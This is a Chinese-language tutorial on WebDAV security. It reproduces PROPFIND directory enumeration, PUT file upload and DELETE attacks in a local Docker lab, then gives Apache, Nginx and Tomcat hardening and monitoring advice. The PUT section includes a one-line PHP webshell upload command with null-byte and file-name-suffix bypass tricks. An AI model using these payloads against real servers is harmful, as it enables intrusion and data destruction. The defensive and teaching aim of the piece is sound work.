WebDAV 方法实战:PROPFIND/PUT/DELETE 3类高危操作复现与修复

📅 2026/7/8 20:49:13 👁️ 阅读次数 📝 编程学习
WebDAV 方法实战:PROPFIND/PUT/DELETE 3类高危操作复现与修复

WebDAV 高危操作实战:从信息泄露到文件操控的攻防演练

WebDAV(Web Distributed Authoring and Versioning)作为HTTP协议的扩展,为远程协作编辑和管理文件提供了强大支持,但同时也带来了不容忽视的安全隐患。本文将深入剖析PROPFIND、PUT和DELETE三类高危操作的攻击面,并提供可立即落地的修复方案。

1. WebDAV安全风险全景图

WebDAV协议扩展了标准HTTP方法集,引入了PROPFIND、PROPPATCH、MKCOL、COPY、MOVE、LOCK和UNLOCK等方法。这些方法在设计之初主要考虑功能性需求,却忽视了安全控制机制,导致攻击者可能:

  • 通过PROPFIND获取服务器目录结构
  • 利用PUT方法上传恶意文件
  • 使用DELETE方法破坏关键系统文件
  • 组合MOVE/COPY方法绕过安全限制

典型攻击链示例

1. OPTIONS探测 → 2. PROPFIND信息收集 → 3. PUT上传Webshell → 4. MOVE重命名 → 5. DELETE清除痕迹

2. 本地靶场快速搭建

使用Docker快速构建包含漏洞的测试环境:

# 启动存在WebDAV配置缺陷的Apache容器 docker run -d --name vulnerable-dav \ -p 8080:80 \ -v $(pwd)/webdav:/var/www/html \ -e APACHE_DAV_ENABLE=1 \ -e APACHE_DAV_ALLOW_ALL=1 \ httpd:2.4

验证环境是否就绪:

curl -X OPTIONS http://localhost:8080 -I # 应返回包含DAV头部的响应

3. PROPFIND信息泄露实战

PROPFIND方法允许客户端检索资源属性,攻击者可利用此方法枚举服务器目录结构:

攻击复现步骤

  1. 发送PROPFIND请求探测根目录:
PROPFIND / HTTP/1.1 Host: target.com Depth: 1 Content-Type: application/xml Content-Length: 35 <d:propfind xmlns:d="DAV:"><d:allprop/></d:propfind>
  1. 解析服务器响应,获取文件列表:
<d:multistatus> <d:response> <d:href>/</d:href> <d:propstat> <d:prop> <d:displayname>webapp</d:displayname> <d:getlastmodified>Wed, 15 Jun 2023 08:49:37 GMT</d:getlastmodified> </d:prop> </d:propstat> </d:response> </d:multistatus>

风险评级

  • CVSS评分:5.3(中危)
  • 影响范围:暴露目录结构、备份文件路径、配置文件位置

4. PUT文件上传漏洞利用

当服务器配置允许PUT方法时,攻击者可直接上传任意文件:

攻击复现

# 上传文本文件测试 curl -X PUT http://target.com/uploads/test.txt \ -d "This is a test file" # 上传PHP Webshell(需配合解析漏洞) curl -X PUT http://target.com/uploads/shell.php%00.txt \ -d "<?php system($_GET['cmd']); ?>"

绕过技巧

  • 使用%20空格后缀:shell.php%20
  • 使用特殊字符:shell.php::$DATA
  • 结合MOVE方法:先上传无害文件再重命名

5. DELETE文件删除攻击

DELETE方法允许直接删除服务器资源,可能造成服务中断:

攻击示例

DELETE /config/database.ini HTTP/1.1 Host: target.com

防御难点

  • 缺乏操作审计日志
  • 无回收站机制
  • 可能被用于擦除入侵痕迹

6. 多维度修复方案

Apache配置加固

# 禁用危险方法 <Location "/"> <LimitExcept GET POST HEAD> Require all denied </LimitExcept> # 关闭WebDAV Dav off # 禁用目录列表 Options -Indexes </Location>

Nginx防护配置

location / { if ($request_method !~ ^(GET|HEAD|POST)$ ) { return 405; } # 禁用自动目录索引 autoindex off; # 限制上传文件类型 client_max_body_size 1M; }

Tomcat安全设置

<!-- conf/web.xml --> <security-constraint> <web-resource-collection> <url-pattern>/*</url-pattern> <http-method>PUT</http-method> <http-method>DELETE</http-method> <http-method>PROPFIND</http-method> </web-resource-collection> <auth-constraint /> </security-constraint>

7. 深度防御策略

监控与检测

  • 实时告警非常规HTTP方法请求
  • 记录完整的WebDAV操作日志
  • 部署WAF规则拦截恶意PROPFIND请求

架构优化

客户端 → 反向代理(方法过滤) → 应用服务器(禁用WebDAV) → 文件存储(权限隔离)

应急响应检查清单

  1. 审查服务器OPTIONS响应头
  2. 扫描Web目录下异常文件
  3. 检查最近修改时间的配置文件
  4. 分析Web日志中的PROPFIND/PUT请求

在实际渗透测试中,WebDAV漏洞往往与其他安全问题形成组合攻击。建议定期使用自动化工具扫描,同时结合人工验证确保修复措施生效。